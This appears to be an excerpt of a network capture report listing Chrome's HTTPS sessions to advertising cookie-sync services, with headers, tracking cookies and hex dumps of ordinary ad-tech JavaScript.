2024-03-28 08:51:27 UTC	714	OUT	GET /a9b03dc9bdef0bcb818e9c4110ca0368/?uid=cf63f4e3-1ddd-05e9-329a-db2fad5e45ad HTTP/1.1 Host: sync.richaudience.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; raibs=1
2024-03-28 08:51:27 UTC	431	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:43:07 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.2.4 P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: avcid-opx-uid=cf63f4e3-1ddd-05e9-329a-db2fad5e45ad; expires=Wed, 26 Jun 2024 08:43:07 GMT; Max-Age=7776000; path=/; domain=.richaudience.com; secure; HttpOnly; SameSite=None
2024-03-28 08:51:27 UTC	106	IN	Data Raw: 35 66 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 5fPNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
319	192.168.2.4	50132	8.2.110.31	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:27 UTC	354	OUT	GET /?c=o&m=multi HTTP/1.1 Host: pub.admanmedia.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:27 UTC	350	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:27 GMT Content-Type: application/json Content-Length: 22 Connection: close Access-Control-Allow-Origin: https://undefined Access-Control-Allow-Credentials: true Content-Encoding: gzip Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Frame-Options: DENY
2024-03-28 08:51:27 UTC	22	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 03 8b 8e 05 00 29 bb 4c 0d 02 00 00 00 Data Ascii: )L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
320	192.168.2.4	50131	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:27 UTC	745	OUT	GET /track/cmf/openx?oxid=2dcebd09-45e3-329f-69a7-5614801926e7&gdpr=0 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; TDCPM=CAEYASABKAIyCwjY_OG338PnPBAFOAFaB25lb2RhdGFgAg..
2024-03-28 08:51:27 UTC	583	IN	HTTP/1.1 302 Found Date: Thu, 28 Mar 2024 08:51:27 GMT Content-Length: 335 Connection: close server: Kestrel location: https://us-u.openx.net/w/1.0/sd?id=537072971&val=a109dc60-dc7c-45e5-ab53-e2448a53420f&ttd_puid=2dcebd09-45e3-329f-69a7-5614801926e7&gdpr=0&gdpr_consent= set-cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; expires=Fri, 28 Mar 2025 08:51:27 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYASACKAIyCwjY_OG338PnPBAFOAFaB25lb2RhdGFgAg..; expires=Fri, 28 Mar 2025 08:51:27 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-03-28 08:51:27 UTC	335	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 33 37 30 37 32 39 37 31 26 76 61 6c 3d 61 31 30 39 64 63 36 30 2d 64 63 37 63 2d 34 35 65 35 2d 61 62 35 33 2d 65 32 34 34 38 61 35 33 34 32 30 66 26 74 74 64 5f 70 75 69 64 3d 32 64 63 65 62 64 30 39 2d 34 35 65 33 2d 33 32 39 66 2d 36 39 61 37 2d 35 36 31 34 38 30 31 39 32 36 65 37 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 33 37 30 37 32 39 37 31 26 76 61 6c 3d 61 31 30 39 64 63 36 30 2d 64 63 37 63 2d 34 35 65 35 2d 61 62 35 33 2d 65 32 34 Data Ascii: Redirecting to: <a href="https://us-u.openx.net/w/1.0/sd?id=537072971&val=a109dc60-dc7c-45e5-ab53-e2448a53420f&ttd_puid=2dcebd09-45e3-329f-69a7-5614801926e7&gdpr=0&gdpr_consent=">https://us-u.openx.net/w/1.0/sd?id=537072971&val=a109dc60-dc7c-45e5-ab53-e24

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
321	192.168.2.4	50136	34.235.214.237	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:27 UTC	434	OUT	GET /universal/v1?supply_id=WYu2BXv1 HTTP/1.1 Host: btlr.sharethrough.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: stx_user_id=e222cac2-a257-448a-96d5-9494eb4fc58c
2024-03-28 08:51:27 UTC	101	IN	HTTP/1.1 404 Not Found content-length: 0 date: Thu, 28 Mar 2024 08:51:27 GMT connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
322	192.168.2.4	50134	147.135.119.115	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:28 UTC	690	OUT	GET /prebid/v1 HTTP/1.1 Host: prg.smartadserver.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pbw=%24b%3d16999%3b%24o%3d11100; vs=281855=5910291; TestIfCookie=ok; TestIfCookieP=ok; sasd=%24qc%3D1307002411%3B%24ql%3DUnknown%3B%24qt%3D152_0_0t%3B%24dma%3D511%3B%24qo%3D6; pid=7766515454130361199; sasd2=q=%24qc%3D1307002411%3B%24ql%3DUnknown%3B%24qt%3D152_0_0t%3B%24dma%3D511%3B%24qo%3D6&c=1&l&lo&lt=638472126794237323&o=1
2024-03-28 08:51:28 UTC	123	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 date: Thu, 28 Mar 2024 08:51:28 GMT allow: POST connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
323	192.168.2.4	50118	104.22.30.209	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:28 UTC	669	OUT	GET /?gdpr=0&gdpr_consent= HTTP/1.1 Host: csync.smilewanted.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:28 UTC	492	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Access-Control-Allow-Headers: Accept,Authorization,Cache-Control,Content-Type,DNT,If-Modified-Since,Keep-Alive,Origin,User-Agent,X-Requested-With CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 86b660e75ac005eb-IAD
2024-03-28 08:51:28 UTC	877	IN	Data Raw: 31 39 33 32 0d 0a 3c 73 63 72 69 70 74 3e 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 64 6f 63 52 65 61 64 79 28 66 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 69 66 28 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 20 3d 3d 3d 20 22 63 6f 6d 70 6c 65 74 65 22 20 7c 7c 20 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 20 3d 3d 3d 20 22 69 6e 74 65 72 61 63 74 69 76 65 22 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 6e 2c 20 31 29 3b 0a 20 20 20 20 20 20 20 20 7d 65 6c 73 65 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 20 66 6e 29 3b 0a Data Ascii: 1932<script>(function(){ function docReady(fn) { if(document.readyState === "complete" \|\| document.readyState === "interactive"){ setTimeout(fn, 1); }else{ document.addEventListener("DOMContentLoaded", fn);
2024-03-28 08:51:28 UTC	1369	IN	Data Raw: 74 65 22 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 63 72 69 70 74 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 20 3d 20 6e 75 6c 6c 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 6c 6c 62 61 63 6b 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 63 72 69 70 74 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 2f 2f 20 4f 74 68 65 72 20 62 72 6f 77 73 65 72 73 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 6c 6c 62 61 63 6b 28 Data Ascii: te") { script.onreadystatechange = null; callback(); } }; } else { script.onload = function() { // Other browsers callback(
2024-03-28 08:51:28 UTC	1369	IN	Data Raw: 28 6f 75 74 70 75 74 5f 6c 69 73 74 5f 63 6f 6f 6b 69 65 73 5f 73 79 6e 63 2e 6c 65 6e 67 74 68 20 3e 20 30 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 70 75 74 5f 6c 69 73 74 5f 63 6f 6f 6b 69 65 73 5f 73 79 6e 63 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 63 6f 6f 6b 69 65 5f 73 79 6e 63 5f 75 72 6c 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6f 6b 69 65 5f 73 79 6e 63 5f 75 72 6c 20 3d 20 63 6f 6f 6b 69 65 5f 73 79 6e 63 5f 75 72 6c 2e 72 65 70 6c 61 63 65 41 6c 6c 28 27 5b 47 44 50 52 5f 41 50 50 4c 49 45 53 5d 27 2c 20 67 64 70 72 5f 61 70 70 6c Data Ascii: (output_list_cookies_sync.length > 0){ output_list_cookies_sync.forEach(function(cookie_sync_url){ setTimeout(function(){ cookie_sync_url = cookie_sync_url.replaceAll('[GDPR_APPLIES]', gdpr_appl
2024-03-28 08:51:28 UTC	1369	IN	Data Raw: 72 6f 76 65 22 3a 7b 22 6f 72 64 65 72 22 3a 34 2c 22 72 65 64 69 72 65 63 74 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 69 63 65 2e 33 36 30 79 69 65 6c 64 2e 63 6f 6d 5c 2f 73 65 72 76 65 72 5f 6d 61 74 63 68 3f 72 3d 68 74 74 70 73 3a 5c 2f 5c 2f 63 73 79 6e 63 2e 73 6d 69 6c 65 77 61 6e 74 65 64 2e 63 6f 6d 5c 2f 73 65 74 5f 70 61 72 74 6e 65 72 5f 75 73 65 72 69 64 5f 67 65 74 5c 2f 69 6d 70 72 6f 76 65 5c 2f 7b 50 55 42 5f 55 53 45 52 5f 49 44 7d 26 70 61 72 74 6e 65 72 5f 69 64 3d 31 30 31 30 22 7d 2c 22 6f 70 65 6e 78 22 3a 7b 22 6f 72 64 65 72 22 3a 35 2c 22 72 65 64 69 72 65 63 74 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 75 2e 6f 70 65 6e 78 2e 6e 65 74 5c 2f 77 5c 2f 31 2e 30 5c 2f 63 6d 3f 69 64 3d 31 35 38 34 37 34 66 35 2d Data Ascii: rove":{"order":4,"redirect_url":"https:\/\/ice.360yield.com\/server_match?r=https:\/\/csync.smilewanted.com\/set_partner_userid_get\/improve\/{PUB_USER_ID}&partner_id=1010"},"openx":{"order":5,"redirect_url":"https:\/\/u.openx.net\/w\/1.0\/cm?id=158474f5-
2024-03-28 08:51:28 UTC	1369	IN	Data Raw: 69 73 74 5f 63 6f 6f 6b 69 65 73 5f 73 79 6e 63 5b 76 61 6c 75 65 2e 6f 72 64 65 72 5d 20 3d 20 76 61 6c 75 65 2e 72 65 64 69 72 65 63 74 5f 75 72 6c 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 76 61 72 20 67 64 70 72 5f 61 70 70 6c 69 65 73 20 3d 20 30 3b 0a 20 20 20 20 76 61 72 20 63 6f 6e 73 65 6e 74 5f 73 74 72 69 6e 67 20 3d 20 27 27 3b 0a 20 20 20 20 76 61 72 20 70 61 72 61 6d 73 20 3d 20 67 65 74 53 65 61 72 63 68 50 61 72 61 6d 65 74 65 72 73 28 29 3b 0a 20 20 20 20 76 61 72 20 66 6f 72 63 65 5f 63 61 6c 6c 73 20 3d 20 66 61 6c 73 65 3b 0a 0a 20 20 20 20 0a 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 0a 20 20 20 20 20 20 20 20 74 72 79 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 74 79 70 65 6f 66 20 74 6f 70 Data Ascii: ist_cookies_sync[value.order] = value.redirect_url; } var gdpr_applies = 0; var consent_string = ''; var params = getSearchParameters(); var force_calls = false; setTimeout(function(){ try{ if(typeof top
2024-03-28 08:51:28 UTC	105	IN	Data Raw: 72 63 65 5f 63 61 6c 6c 73 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 6c 6c 5f 63 6f 6f 6b 69 65 73 5f 73 79 6e 63 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 7d 2c 20 35 30 29 3b 0a 7d 29 28 29 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: rce_calls){ call_cookies_sync(); } }); }, 50);})();</script>
2024-03-28 08:51:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
324	192.168.2.4	50111	147.28.129.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:28 UTC	960	OUT	GET /isyn?__st=iframe&gdpr=0&gdpr_consent=&us_privacy=1---_e=CpsBSglic25ld3MuaXRSC2Fhcy0yNzgyYTkxWghwYmExLjMuNGoJYnNuZXdzLml0-gEGOC4zMy4w6AIBiAOH35SwBqgDOuoDJDcwNzI4Mzc1LTIxNjMtNDE3Mi1hMmE5LWVjZGFkMTljMmM2ZKoEA0RDSLIFA1VTROoFB2Rlc2t0b3D6BQNwaHiqBwN3ZWLKBwlic25ld3MuaXTgBwE HTTP/1.1 Host: sync.a-mo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: amuid2=10735680-48cc-46aa-8323-b54c7155938b
2024-03-28 08:51:28 UTC	261	IN	HTTP/1.1 200 OK cache-control: max-age=0, private, must-revalidate content-length: 2324 content-type: text/html; charset=utf-8 date: Thu, 28 Mar 2024 08:51:27 GMT server: envoy x-envoy-upstream-service-time: 0 vary: Accept-Encoding connection: close
2024-03-28 08:51:28 UTC	2324	IN	Data Raw: 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2e 61 2d 6d 6f 2e 6e 65 74 2f 6a 73 2f 63 66 72 61 6d 65 2e 6a 73 23 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 63 63 3d 55 53 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 5f 5f 61 6d 24 43 4b 28 5b 22 68 74 74 70 73 3a 2f 2f 78 2e 62 69 64 73 77 69 74 63 68 2e 6e 65 74 2f 73 79 6e 63 3f 73 73 70 3d 61 64 61 70 74 6d 78 26 75 73 65 72 5f 69 64 3d 31 30 37 33 35 36 38 30 2d 34 38 63 63 2d 34 36 61 61 2d 38 33 32 33 2d 62 35 34 63 37 31 35 35 39 33 38 62 26 67 64 70 72 3d 7b 7b 47 44 50 52 7d 7d 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 7b 7b 47 44 50 52 5f 43 4f 4e 53 45 4e 54 7d 7d 26 75 73 5f 70 72 69 76 61 63 79 3d 7b 7b 55 53 5f 50 52 49 Data Ascii: <script src="https://assets.a-mo.net/js/cframe.js#gdpr=0&gdpr_consent=&cc=US"></script><script>__am$CK(["https://x.bidswitch.net/sync?ssp=adaptmx&user_id=10735680-48cc-46aa-8323-b54c7155938b&gdpr={{GDPR}}&gdpr_consent={{GDPR_CONSENT}}&us_privacy={{US_PRI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
325	192.168.2.4	50119	151.101.193.108	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:28 UTC	905	OUT	GET /dmp/async_usersync.html HTTP/1.1 Host: acdn.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
2024-03-28 08:51:28 UTC	501	IN	HTTP/1.1 200 OK Connection: close Content-Length: 53044 Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html Last-Modified: Fri, 25 Mar 2022 16:06:02 GMT ETag: "623de86a-cf34" Expires: Wed, 20 Mar 2024 11:33:50 GMT Cache-Control: max-age=86402 Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Thu, 28 Mar 2024 08:51:28 GMT Via: 1.1 varnish Age: 76641 X-Served-By: cache-lga21950-LGA X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1711615889.549529,VS0,VE1 Vary: Accept-Encoding
2024-03-28 08:51:28 UTC	1371	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 61 28 6e 29 7b 69 66 28 65 5b 6e 5d 29 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 69 3d 65 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 63 61 6c 6c 28 69 2e 65 78 70 6f 72 74 73 2c 69 2c 69 2e 65 78 70 6f 72 74 73 2c 61 29 2c 69 2e 6c 3d 21 30 2c 69 2e 65 78 70 6f 72 74 73 7d 61 2e 6d 3d 74 2c 61 2e 63 3d 65 2c 61 2e 64 3d 66 75 6e 63 74 69 6f Data Ascii: <!DOCTYPE html><html><head></head><body><script type="text/javascript">!function(t){var e={};function a(n){if(e[n])return e[n].exports;var i=e[n]={i:n,l:!1,exports:{}};return t[n].call(i.exports,i,i.exports,a),i.l=!0,i.exports}a.m=t,a.c=e,a.d=functio
2024-03-28 08:51:28 UTC	1371	IN	Data Raw: 6e 20 61 29 69 28 61 2c 6e 29 26 26 28 74 5b 6e 5d 3d 61 5b 6e 5d 29 7d 7d 72 65 74 75 72 6e 20 74 7d 2c 65 2e 73 68 72 69 6e 6b 42 75 66 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 2e 6c 65 6e 67 74 68 3d 3d 3d 65 3f 74 3a 74 2e 73 75 62 61 72 72 61 79 3f 74 2e 73 75 62 61 72 72 61 79 28 30 2c 65 29 3a 28 74 2e 6c 65 6e 67 74 68 3d 65 2c 74 29 7d 3b 76 61 72 20 72 3d 7b 61 72 72 61 79 53 65 74 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 61 2c 6e 2c 69 29 7b 69 66 28 65 2e 73 75 62 61 72 72 61 79 26 26 74 2e 73 75 62 61 72 72 61 79 29 74 2e 73 65 74 28 65 2e 73 75 62 61 72 72 61 79 28 61 2c 61 2b 6e 29 2c 69 29 3b 65 6c 73 65 20 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 6e 3b 72 2b 2b 29 74 5b 69 2b 72 5d 3d 65 5b 61 2b 72 5d 7d 2c Data Ascii: n a)i(a,n)&&(t[n]=a[n])}}return t},e.shrinkBuf=function(t,e){return t.length===e?t:t.subarray?t.subarray(0,e):(t.length=e,t)};var r={arraySet:function(t,e,a,n,i){if(e.subarray&&t.subarray)t.set(e.subarray(a,a+n),i);else for(var r=0;r<n;r++)t[i+r]=e[a+r]},
2024-03-28 08:51:28 UTC	1371	IN	Data Raw: 22 6f 6e 22 2b 74 2c 65 29 7d 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 21 74 7c 7c 21 74 2e 70 75 72 70 6f 73 65 7c 7c 21 74 2e 70 75 72 70 6f 73 65 2e 63 6f 6e 73 65 6e 74 73 7c 7c 21 30 3d 3d 3d 74 2e 70 75 72 70 6f 73 65 2e 63 6f 6e 73 65 6e 74 73 5b 31 5d 7d 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 64 61 74 61 3b 74 72 79 7b 65 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 65 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 61 3d 65 2e 5f 5f 63 6d 70 52 65 74 75 72 6e 7c 7c 65 2e 5f 5f 74 63 66 61 70 69 52 65 74 75 72 6e 3b 61 26 26 28 22 67 65 74 43 6f 6e 73 65 6e 74 44 61 74 61 22 3d 3d 3d 61 2e 63 6f 6d 6d 61 6e 64 26 26 61 2e 72 65 74 75 72 6e 56 61 6c 75 65 3f 68 28 61 2e 63 61 6c 6c 49 64 2c 61 2e 72 65 74 Data Ascii: "on"+t,e)},o=function(t){return!t\|\|!t.purpose\|\|!t.purpose.consents\|\|!0===t.purpose.consents[1]},l=function(t){var e=t.data;try{e=JSON.parse(e)}catch(t){}var a=e.__cmpReturn\|\|e.__tcfapiReturn;a&&("getConsentData"===a.command&&a.returnValue?h(a.callId,a.ret
2024-03-28 08:51:28 UTC	1371	IN	Data Raw: 33 3a 61 3b 64 6f 7b 72 3d 72 2b 28 69 3d 69 2b 65 5b 6e 2b 2b 5d 7c 30 29 7c 30 7d 77 68 69 6c 65 28 2d 2d 73 29 3b 69 25 3d 36 35 35 32 31 2c 72 25 3d 36 35 35 32 31 7d 72 65 74 75 72 6e 20 69 7c 72 3c 3c 31 36 7c 30 7d 7d 2c 32 30 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 2c 65 3d 5b 5d 2c 61 3d 30 3b 61 3c 32 35 36 3b 61 2b 2b 29 7b 74 3d 61 3b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 38 3b 6e 2b 2b 29 74 3d 31 26 74 3f 33 39 38 38 32 39 32 33 38 34 5e 74 3e 3e 3e 31 3a 74 3e 3e 3e 31 3b 65 5b 61 5d 3d 74 7d 72 65 74 75 72 6e 20 65 7d 28 29 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 61 2c 69 29 7b Data Ascii: 3:a;do{r=r+(i=i+e[n++]\|0)\|0}while(--s);i%=65521,r%=65521}return i\|r<<16\|0}},20:function(t,e,a){"use strict";var n=function(){for(var 